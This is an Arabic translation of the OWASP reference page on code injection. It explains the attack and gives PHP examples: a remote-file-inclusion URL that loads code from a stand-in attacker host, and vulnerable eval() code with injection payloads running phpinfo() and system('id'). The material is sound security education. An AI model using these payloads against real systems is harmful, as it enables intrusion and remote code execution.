المساهم (المساهمون): OWASP ، Thandermax ، Csa ، KristenS ، Wichers ، Neil Bergman ، Camilo ، Andrew Smith ، kingthorin
وصف
حقن الكود هو عبارة عن المصطلح العام لأنواع الهجوم التي تتكون من رمز الحقن الذي يتم تفسيره / تنفيذه بعد ذلك بواسطة التطبيق. يستغل هذا النوع من عملية الهجوم المعالجة السيئة للبيانات غير الموثوق بها. عادة ما تكون هذه الأنواع من الهجمات ممكنة بسبب نقص التحقق من صحة بيانات الإدخال / الإخراج ، على سبيل المثال:
- الأحرف المسموح بها (فئات التعبيرات العادية القياسية أو المخصصة)
- تنسيق البيانات
- كمية البيانات المتوقعة
يختلف Code Injection عن Command Injection في أن المهاجم مقيد فقط بوظيفة اللغة المحقونة نفسها. إذا كان المهاجم قادرًا على حقن كود PHP في تطبيق ما وتم تنفيذه ، فإنهم مقيدون فقط بما تستطيع PHP القيام به. يتكون حقن الأمر من الاستفادة من الكود الحالي لتنفيذ الأوامر ، وعادةً ما يكون ذلك في سياق الصدفة.
عوامل الخطر كما يلي
- يمكن أن تتراوح هذه الأنواع من الثغرات الأمنية من الصعب العثور عليها إلى سهولة العثور عليها
- إذا تم العثور عليها ، فعادة ما يكون من الصعب استغلالها إلى حد ما ، اعتمادًا على السيناريو
- إذا تم استغلال التأثير بنجاح ، فقد يغطي فقدان السرية و / أو فقدان النزاهة و / أو فقدان التوافر و / أو فقدان المساءلة
أمثلة
مثال 1
إذا قام أحد التطبيقات بتمرير معلمة تم إرسالها عبر طلب GET إلى
include()وظيفة PHP بدون التحقق من صحة الإدخال ، فقد يحاول المهاجم تنفيذ تعليمات برمجية بخلاف ما كان يدور في ذهن المطور.
يقوم عنوان URL أدناه بتمرير اسم صفحة إلى include()الوظيفة.
http://testsite.com/index.php?page=contact.php
قد يحتوي الملف "evilcode.php" ، على سبيل المثال ، وظيفة phpinfo () المفيدة للحصول على معلومات حول تكوين البيئة التي تعمل فيها خدمة الويب. يمكن للمهاجم أن يطلب من التطبيق تنفيذ كود PHP الخاص به باستخدام الطلب التالي:
http://testsite.com/?page=http://evilsite.com/evilcode.php
مثال 2
عندما يستخدم المطور eval()وظيفة PHP ويمرر بيانات غير موثوقة يمكن للمهاجم تعديلها ، فقد يكون إدخال التعليمات البرمجية ممكنًا.
يوضح المثال أدناه طريقة خطيرة لاستخدام eval()الوظيفة:
$myvar = "varname";
$x = XXXXX['arg'];
eval("$myvar = $x;");
نظرًا لعدم وجود تحقق من صحة الإدخال ، فإن الكود أعلاه عرضة لهجوم Code Injection.
علي سبيل المثال:/index.php?arg=1; phpinfo()
أثناء استغلال مثل هذه الأخطاء ، قد يرغب المهاجم في تنفيذ أوامر النظام. في هذه الحالة ، يمكن أيضًا استخدام خطأ حقن الكود لإدخال الأوامر ، على سبيل المثال:/index.php?arg=1; system('id')